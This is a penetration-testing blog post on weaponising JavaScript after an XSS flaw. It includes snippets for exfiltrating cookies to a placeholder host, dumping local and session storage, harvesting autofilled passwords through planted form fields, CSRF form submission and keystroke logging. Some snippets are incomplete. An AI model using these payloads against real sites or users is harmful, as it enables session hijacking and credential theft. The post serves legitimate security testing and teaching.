TCM Security is offering free Active Directory Health Checks to any company with 10 or more employees. To inquire, please contact us here.

JavaScript is a bit like Marmite, you either love it or hate it. Regardless of how it makes us feel, it is a powerful tool for attacking users and exploitation. Often, popping alert(1) is proof enough to get a fix but doesn’t demonstrate the full impact an attacker can have on a poorly defended web application.

Often when we think about attacking web applications, we are thinking about a company’s website or internet-facing service. Regardless of best practices and the claims made by security vendors, most organizations are significantly weaker internally – and that goes for web applications too. As a penetration tester or red teamer, being able to exploit internal web apps to attack specific highly-privileged users, or harvest re-used passwords from weak internal webapps might make the difference during your engagement. Let’s dive into how we can weaponise JavaScript to pull off some interesting attacks.

JavaScript APIs

When we write code, we often want to interact with external systems, such as web browsers, servers, or other software. JavaScript APIs provide the functionality to do just that. From manipulating the Document Object Model (DOM) to making network requests, the sky is the limit.

When we think about APIs, we should consider that they are typically organised into objects. These objects contain methods and properties that our code can access. When we want to pop an alert box, we’re actually using a method that is part of the window object. This object represents the browser window and provides access to a range of functionality.

Some other useful APIs are:

  • Fetch
  • WebRTC
  • WebSocket
  • XMLHttpRequest
  • Service Worker

Making requests

Something that is very handy when attacking users is the ability to make requests from their browsers. To begin with, it’s useful to be able to load external scripts as our initial payload may be quite small or limited in some way.

Making simple requests

let xhr = new XMLHttpRequest()

Stealing data

There are a few places to look when we want to steal data. These are

  • Cookies
  • LocalStorage
  • SessionStorage
  • Saved credentials/auto-fill

Stealing cookies

In modern-day applications, the HttpOnly flag is often set. If it’s not, then stealing session cookies is fairly trivial. Less-protected internal applications are more likely to have this flag missing. We should consider the impact if we are able to steal session tokens for users on web applications that function in a similar way to Jenkins.

document.write('<img src="http://localhost?c='+document.cookie+'" />')

Local storage

Just like alert(), localStorage is part of the Window object that represents an open window in a browser. Data in here has no expiration and exists until deleted with a max size of 5mb. When we uncover an XSS vulnerability, local storage is easily accessible, and therefore the general advice is it’s not a safe place to store sensitive data (such as session tokens). But, from time to time, you’ll see this advice ignored.

let localStorageData = JSON.stringify(localStorage)

Once you have the data, you can choose a suitable method to exfiltrate. 

Session storage

Data in session storage is cleared when a browser session ends (e.g. a user closes their tab). 

let sessionStorageData = JSON.stringify(sessionStorage)

Saved credentials

An interesting feature of many browsers or password managers is that once credentials are saved for auto-fill later on, they are placed into any field that has the correct label within the web application. For example, if you save your username and password at login, and there happens to be a form field on the dashboard labelled as such, those fields will be auto-filled.

This drastically increases the attack surface for credential theft, as any point in the application that is susceptible to XSS could be vulnerable to this attack. I should note, however, the behaviour of this type varies from browser to browser, and also on the individual configuration.

// create the input elements
let usernameField = document.createElement("input")
usernameField.type = "text"
usernameField.name = "username"
usernameField.id = "username"

let passwordField = document.createElement("input")
passwordField.type = "password"
passwordField.name = "password"
passwordField.id = "password"

// append the elements to the body of the page

// exfiltrate as needed (note that we need to wait for the fields to be filled before exfiltrating the information)
setTimeout(function() {
  console.log("Username:", document.getElementById("username").value)
  console.log("Password:", document.getElementById("password").value)
}, 1000);

CSRF & Session Riding

Submitting forms

If a form isn’t protected against CSRF attacks, then we can easily submit them on the user’s behalf. If updating the email address of an account isn’t protected with some out-of-band confirmation or MFA, we can sometimes use the updated email address to reset the user password and log in.

let xhr = new XMLHttpRequest();


There are many ways to log keystrokes, here we will look at some simple examples, but feel free to experiment with your target application. 

document.onkeypress = function(e) {
  get = window.event ? event : e
  key = get.keyCode ? get.keyCode : get.charCode
  key = String.fromCharCode(key)

In this example, you can easily exchange console.log(key) with a call to exfiltrate the keys. Doing this on every key press might be a little noisy on the wire, so you can also consider doing it at regular intervals.